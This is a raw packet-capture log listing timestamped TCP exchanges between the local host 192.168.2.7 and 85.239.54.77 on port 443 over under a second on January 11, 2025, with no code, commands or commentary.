Jan 11, 2025 09:26:45.030267954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.030298948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.030364037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.030900955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.030919075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.030978918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.030982971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.031024933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.031461000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.031476021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.031522036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.031524897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.031559944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.031579018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.066440105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.092255116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.092278957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.092546940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.092556000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.092611074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.118078947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118098021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118218899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.118227005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118277073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.118515015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118531942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118572950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.118577003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.118613958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.118628025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.119086981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119103909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119154930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.119163036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119199991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.119642973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119657040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119703054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.119707108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.119746923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.120177984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120197058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120240927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.120244026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120280981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.120882034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120899916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120929956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.120933056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.120959044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.120980024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.121506929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.121522903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.121572971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.121576071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.121613026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.179047108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.179075003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.179141045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.179152012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.179214954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.203319073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203342915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203397989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.203407049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203433037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.203443050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.203874111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203898907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203929901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.203933954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.203973055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.204334021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.204351902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.204390049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.204392910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.204422951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.204444885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.205110073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205125093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205173969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.205178022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205225945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.205432892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205451965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205468893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.205471992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.205509901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.206108093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206125021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206159115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.206161976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206196070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.206229925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.206695080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206712008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206805944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.206819057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.206851959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.247298002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.266041994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.266141891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.266180992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.266192913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.266283035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.266283035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.290148973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290183067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290273905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.290288925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290329933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.290618896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290638924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290671110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.290674925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.290710926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.290780067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.291289091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291304111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291337967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.291342020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291377068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.291395903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.291843891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291862965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291908026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.291910887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.291980982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.292325020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.292340994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.292368889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.292371988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.292399883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.292417049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.292958975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.292979002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.293025017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.293028116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.293039083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.293096066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.293128014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.293144941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.293174982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.293176889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.293206930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.293221951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.352756023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.352777004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.352869987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.352876902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.352921963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.377288103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377309084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377429962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.377439022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377475977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.377506018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377523899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377573013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.377576113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.377613068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.378077984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378093004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378134012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.378137112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378161907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.378182888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.378619909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378635883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378675938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.378679991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.378710985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379249096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379264116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379304886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379308939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379333019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379352093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379790068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379807949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379838943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379842997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.379869938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.379889965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.380105019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.380120993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.380182981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.380187035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.380229950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.426614046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.439732075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.439758062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.439901114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.439915895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.439953089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.463804007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.463835955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.463948965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.463962078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464000940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.464248896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464266062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464308023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.464312077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464361906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.464899063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464917898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.464946032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.464950085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.465007067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.465425014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.465441942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.465497017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.465501070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.465534925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.466157913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466176987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466204882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.466207981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466257095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.466552019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466567039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466618061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.466622114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.466658115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.467062950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.467078924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.467144966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.467149019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.467200041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.526588917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.526619911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.526722908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.526738882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.526776075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.550537109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.550571918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.550692081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.550703049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.550740957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.551192999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551208973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551286936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.551290989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551338911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.551582098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551599026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551660061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.551664114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.551714897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.552212000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552226067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552290916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.552294970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552330017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.552649975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552665949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552712917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.552716970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.552742004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.552761078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.553212881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553230047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553282022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.553287029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553323984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.553891897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553910017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553961039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.553963900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.553993940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.554003000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.613204956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.613224983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.613344908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.613351107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.613389015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.620466948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.637387037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.637407064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.637517929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.637523890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.637573957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.638025045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638041973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638103008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.638107061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638147116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.638506889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638523102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638585091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.638587952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.638627052 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.639069080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639084101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639132977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.639137030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639158010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.639189959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.639627934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639646053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639681101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.639683962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.639715910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.640173912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640192986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640341997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.640346050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640386105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.640521049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640536070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640580893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.640583992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.640609980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.640628099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.700089931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.700109005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.700318098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.700324059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.700366974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.724329948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724370003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724461079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.724473000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724611998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.724827051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724843025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724890947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.724895000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.724935055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.725470066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725486994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725526094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.725529909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725558043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.725579023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.725876093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725888968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725930929 CET	49941	443	192.168.2.7	85.239.54.77
